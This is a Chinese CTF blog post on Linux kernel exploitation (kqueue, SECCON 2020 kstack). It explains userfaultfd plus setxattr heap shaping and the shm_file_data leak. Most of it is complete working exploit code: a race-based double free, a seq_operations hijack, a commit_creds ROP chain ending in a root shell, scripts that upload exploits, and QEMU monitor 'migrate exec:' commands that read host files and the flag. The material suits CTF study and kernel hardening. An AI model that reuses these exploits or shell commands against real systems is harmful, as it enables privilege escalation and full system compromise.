"mov rdi, rax;"
"call r13;"
"swapgs;"
"mov r14, user_ss;"
"push r14;"
"mov r14, user_sp;"
"push r14;"
"mov r14, user_rflags;"
"push r14;"
"mov r14, user_cs;"
"push r14;"
"mov r14, root_rip;"
"push r14;"
"iretq;"
);
}

size_t root_rip;
int main(){
long seq_fd[0x200];
size_t *page;
size_t data[0x20];

saveStatus();
root_rip = (size_t)getRootShell;
dev_fd = open("/dev/kqueue", O_RDWR);
if (dev_fd < 0)
errExit("FAILED to open the dev!");

for (int i = 0; i < 0x20; i++){
data[i] = (size_t) shellcode;
}

createQueue(0xffffffff, 0x20 * 8);
editQueue(0, 0, data);
for (int i = 0; i < 0x200; i++)
seq_fd[i] = open("/proc/self/stat", O_RDONLY);

saveQueue(0, 0, 0x40);
for (int i = 0; i < 0x200; i++)
read(seq_fd[i], data, 1);
}

发送exp的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
import base64
context.log_level = "debug"
with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())

p = process('./chall')

try_count = 1
p.recvuntil("buildroot login: ")
p.sendline("ctf")
p.recvuntil("Password: ")
p.sendline("kqueue")
while True:
p.sendline()
p.recvuntil("$")

count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))

for i in range(count):
p.recvuntil("$")

p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("cd /tmp/ ")
p.sendline("ls")
print(p.recv())

break

p.interactive()

编译EXP的命令

1
musl-gcc exp.c -o exp -static -masm=intel

从seccon2020的kstack学习userfaultfd+setxattr技术和shm_file_data结构体

本题也出现了打包文件系统后qemu启动不起来的问题,所以换了其他题的文件系统。
userfaultfd技术前面已经提过一次,是为分配的匿名页注册userfaultfd的handler句柄,这样在第一次访问这个页面的时候触发缺页异常然后运行我们注册的handler。(但是新版本的内核已经将userfaultfd的权限调整为root权限,所以应该用不了了,但是出现了FUSE race的方法,接下来的文章应该会讲)。
这里主要学习一下setxattr技术,可以参考arttnba3师傅的博客。
setxattr在内核利用中可以为我们提供几乎任意大小的内核空间对象的分配。setxattr的调用链如下

1
2
3
SYS_setxattr()
path_setxattr()
setxattr()

在 setxattr() 函数中有如下逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) {

//,..

kvfree(kvalue);

return error;
}

我们可以直接在用户态调用setxattr函数,形如setxattr("/flag", "7c00", uffd_buf_hack + page_size - 8, 32, 0);,其中第一个参数必须是一个存在的文件路径,value为我们要复制的起始地址,size为我们指定的大小,所以有了这个函数我们可以分配任意大小的对象并向其中写入任意内容。

但是该对象在setxattr函数执行结束时会被放到freelist中,而我们不想释放它,所以我们要在copy_from_user处将其卡住,具体的方式为:

我们通过 mmap 分配连续的两个页面,在第二个页面上启用 userfaultfd,并在第一个页面的末尾写入我们想要的数据,此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd,从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用


图片和文字来源arttnba3师傅

shm_file_data结构体可以参考一下arttnba3师傅

1
2
3
4
5
6
struct shm_file_data {
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};

在 Linux 当中有一种 IPC 技术名为共享内存,在用户态中我们可以通过 shmget、shmat、shmctl、shmdt 这四个系统调用操纵共享内存。使用 shmget 系统调用可以获得一个共享内存对象,随后要使用 shmat 系统调用将共享内存对象映射到进程的地址空间,在该系统调用中调用了 do_shmat() 函数

1
2
3
4
5
6
7
8
9
10
11
12
long do_shmat(int shmid, char __user *shmaddr, int shmflg,
ulong *raddr, unsigned long shmlba)
{
//...

struct shm_file_data *sfd;

//...

sfd = kzalloc(sizeof(*sfd), GFP_KERNEL);
//...
file->private_data = sfd;

我们可以看到这里创建了shm_file_data结构体。
使用 shmdt 系统调用用以断开与共享内存对象的连接,最终会调用shm_release函数

1
2
3
4
5
6
7
8
9
10
static int shm_release(struct inode *ino, struct file *file)
{
struct shm_file_data *sfd = shm_file_data(file);

put_ipc_ns(sfd->ns);
fput(sfd->file);
shm_file_data(file) = NULL;
kfree(sfd);
return 0;
}

从而将申请的shm_file_data结构体释放掉

题目分析

我们直接来看题目源码,源码实现了PUSH和POP功能,并且没有加锁,所以就存在竞争问题。
我们利用的方式主要分三步(1)泄露内核基址:shm_file_data(2)构造double_free(3)userfaultfd + setxattr 劫持 seq_operations 控制内核执行流

第一步
首先要泄露内核基址,题目源码中sizeof(Element)的大小为0x20,这里我们选择shm_file_data结构体也是0x20大小。
我们首先申请shm_file_data结构体,然后再释放。然后再调用PUSH申请一个sizeof(Element)0x20大小的对象,此时这个对象指向的位置就是shm_file_data结构体的位置。此时在PUSH的过程中会卡在copy_from_user的位置然后去执行我们注册的handler句柄,而在我们注册的handler句柄中我们可以POP,因为此时head指向的是shm_file_data结构体,tmp->value即是shm_file_data的ns域,泄露它即泄露了内核基址。

第二步
构造double free,主要是为了修改seq_operations的start函数指针。这里double free的是我们申请的kmalloc(sizeof(Element), GFP_KERNEL);。 pop 时通过 copy_to_user 触发 userfaultfd,在 userfaultfd 线程中再 pop 一次即可

第三步
有了第二步构造的double free,我们可以先分配一个seq_operations结构体,然后再setxattr一个0x20大小的对象,此时这两个对象指向的是同一个空间。然后我们先申请两个页面,在第一个页面的末尾填入我们的gadget,此时我们在setxattr函数的内部往我们申请的0x20大小的结构体进行copy的时候出现了异常,只copy了8个字节将seq_operations的start函数指针覆盖掉了,然后调用我们注册的handler句柄,调用read函数执行gadget,这里的gadget是add rsp, val的形式,具体怎么确定val可以看前面的文章,可以在gadget上下断点,然后看和pt_regs中的ROP链的差值。说一下这里为什么不用填入用户态保存的rip,rflags,cs之类的寄存器,原因是swapgs_restore_regs_and_return_to_usermode;函数中有几个push语句,又把这些值push进来了,所以题解中构造的这种ROP也可以成功返回用户态。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/xattr.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#include "kernelpwn.h"

int dev_fd;
size_t seq_fd;
size_t seq_fd_reserve[0x100];
static char *page = NULL;
static size_t page_size;

static void *
leak_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

puts("[*] push trapped in userfaultfd.");
pop(&kernel_offset);
printf("[*] leak ptr: %p\n", kernel_offset);
kernel_offset -= 0xffffffff81c37bc0;
kernel_base += kernel_offset;

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}

static void *
double_free_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

puts("[*] pop trapped in userfaultfd.");
puts("[*] construct the double free...");
pop(page);

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}

size_t pop_rdi_ret = 0xffffffff81034505;
size_t xchg_rax_rdi_ret = 0xffffffff81d8df6d;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;
long flag_fd;
char flag_buf[0x100];

static void *
hijack_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

puts("[*] setxattr trapped in userfaultfd.");
puts("[*] trigger now...");

for (int i = 0; i < 100; i++)
close(seq_fd_reserve[i]);

// trigger
pop_rdi_ret += kernel_offset;
xchg_rax_rdi_ret += kernel_offset;
mov_rdi_rax_pop_rbp_ret += kernel_offset;
prepare_kernel_cred = 0xffffffff81069e00 + kernel_offset;
commit_creds = 0xffffffff81069c10 + kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;
printf("[*] gadget: %p\n", swapgs_restore_regs_and_return_to_usermode);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred;"
"mov rbx, mov_rdi_rax_pop_rbp_ret;"
"mov r11, 0x66666666;"
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
puts("[+] back to userland successfully!");
printf("[+] uid: %d gid: %d\n", getuid(), getgid());
puts("[*] execve root shell now...");
system("/bin/sh");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}

void push(char *data)
{
if (ioctl(dev_fd, 0x57AC0001, data) < 0)
errExit("push!");
}

void pop(char *data)
{
if (ioctl(dev_fd, 0x57AC0002, data) < 0)
errExit("pop!");
}

int main(){
size_t data[0x10];
char *uffd_buf_leak;
char *uffd_buf_uaf;
char *uffd_buf_hack;
int pipe_fd[2];
int shm_id;
char *shm_addr;

dev_fd = open("/proc/stack", O_RDWR);
page = malloc(0x1000);
page_size = sysconf(_SC_PAGE_SIZE);

for (int i = 0; i < 100; i++)
if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0)
errExit("seq reserve!");

uffd_buf_leak = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(uffd_buf_leak, page_size, leak_thread);

shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
if (shm_id < 0)
errExit("shmget!");
shm_addr = shmat(shm_id, NULL, 0);
if (shm_addr < 0)
errExit("shmat!");
if(shmdt(shm_addr) < 0)
errExit("shmdt!");

push(uffd_buf_leak);
printf("[+] kernel offset: %p\n", kernel_offset);
printf("[+] kernel base: %p\n", kernel_base);

uffd_buf_uaf = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(uffd_buf_uaf, page_size, double_free_thread);
push("7c00");
pop(uffd_buf_uaf);

uffd_buf_hack = (char*) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(uffd_buf_hack + page_size, page_size, hijack_thread);
printf("[*] gadget: %p\n", 0xffffffff814d51c0 + kernel_offset);
*(size_t *)(uffd_buf_hack + page_size - 8) = 0xffffffff814d51c0 + kernel_offset;

seq_fd = open("/proc/self/stat", O_RDONLY);
setxattr("/flag", "7c00", uffd_buf_hack + page_size - 8, 32, 0);
}

kernelpwn.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;

static pthread_t monitor_thread;

void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

size_t commit_creds = NULL, prepare_kernel_cred = NULL;
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}

puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}

struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;

struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};



一些小trick

没有使用-monitor /dev/null将monitor重定向

没有使用-monitor /dev/null将monitor重定向,可以直接进入monitor导出docker中的文件系统

在启动qemu后点击ctrl+a后再按c即可进入monitor控制台

1
2
3
4
migrate "exec:cp rootfs.cpio /tmp"
migrate "exec:cd /tmp;ls 1>&2"
migrate "exec:cd /tmp;cpio -idmv < rootfs.cpio 1>&2"
migrate "exec:cat /tmp/flag 1>&2"

发送exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import sys
import os

context.log_level = 'debug'
cmd = '/ $ '

p=process('./start.sh')
def exploit(r):
r.sendlineafter(cmd, 'stty -echo')
#os.system('musl-gcc -static -O2 exp.c -o exp')
os.system('tar -cvf exp.tar.gz exp')
r.sendlineafter(cmd, 'cat <<EOF > /tmp/exp.tar.gz.b64') #heredoc
r.sendline((read('exp.tar.gz')).encode('base64'))
#r.sendline('EOF')
# r.recvall()
# r.sendline('cd /tmp/')
#r.recv()
# r.sendlineafter(cmd, 'base64 -d /tmp/exp.tar.gz.b64 > /tmp/exp.tar.gz')
# r.sendlineafter(cmd, 'tar -xvf /tmp/exp.tar.gz -C /tmp/')
# r.sendlineafter(cmd, 'chmod +x /tmp/exp')
# r.sendlineafter(cmd, '/tmp/exp')
# r.sendlineafter(cmd, 'whoami')
r.interactive()

exploit(p)

自己手动填入添加注释的这几条语句,否则有可能会出错。有可能根目录下没有创建新文件的权限,所以最好在/tmp/目录下创建。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!